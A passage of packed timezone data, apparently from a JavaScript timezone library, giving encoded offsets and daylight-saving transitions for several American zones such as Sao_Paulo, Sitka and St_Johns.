WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1qL0 WN0 1qL0 11B0 1nX0 11B0 1nX0 11B0|62e5","America/Santo_Domingo|LMT SDMT EST EDT -0430 AST|4D.A 4E 50 40 4u 40|012324242424242525|-3eLvk.o 1Jic0.o 1lJMk Mn0 6sp0 Lbu 1Cou yLu 1RAu wLu 1QMu xzu 1Q0u xXu 1PAu 13jB0 e00|29e5","America/Sao_Paulo|LMT -03 -02|36.s 30 20|01212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2glwR.w HdKR.w 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 pTd0 PX0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 1EN0 Lz0 1C10 IL0 1HB0 Db0 1HB0 On0 1zd0 On0 1zd0 Lz0 1zd0 Rb0 1wN0 Wn0 1tB0 Rb0 1tB0 WL0 1tB0 Rb0 1zd0 On0 1HB0 FX0 1C10 Lz0 1Ip0 HX0 1zd0 On0 1HB0 IL0 1wp0 On0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 Rb0 1zd0 Lz0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 On0 1zd0 On0 1HB0 FX0|20e6","America/Scoresbysund|LMT -02 -01 +00|1r.Q 20 10 0|0121323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232323232|-2a5Ww.8 2z5ew.8 1a00 1cK0 1cL0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00|452","America/Sitka|LMT LMT PST PWT PPT PDT YST AKST AKDT|-eW.L 91.d 80 70 70 70 90 90 80|0123425252525252525252525252525252567878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787|-48Pzs.L 1jVwu 1EX0W.L 8x10 iy0 Vo10 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 co0 10q0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|90e2","America/St_Johns|LMT NST NDT NST NDT NWT NPT NDDT|3u.Q 3u.Q 2u.Q 3u 2u 2u 2u 1u|012121212121212121212121212121212121213434343434343435634343434343434343434343434343434343434343434343434343434343434343434343434343434343437343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343434343|-3tokt.8 1l020 14L0 1nB0 1in0 1gm0 Dz0 1JB0 1cL0 1cN0 1cL0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1fB0 1cL0 1cN0 1cL0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1fB0 19X0 1fB0 1cL0 1fB0 19X0 1fB0 19X0 10O0 eKX.8 19X0 1iq0 WL0 1qN0 WL0 1qN0 WL0 1tB0 TX0 1tB0 WL0 1qN0 WL0 1qN0 7UHu itu 1tB0 WL0 1qN0 WL0 1qN0 WL0 1qN0 WL0 1tB0 WL0 1ld0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14n1 1lb0 14p0 1nW0 11C0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zcX Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 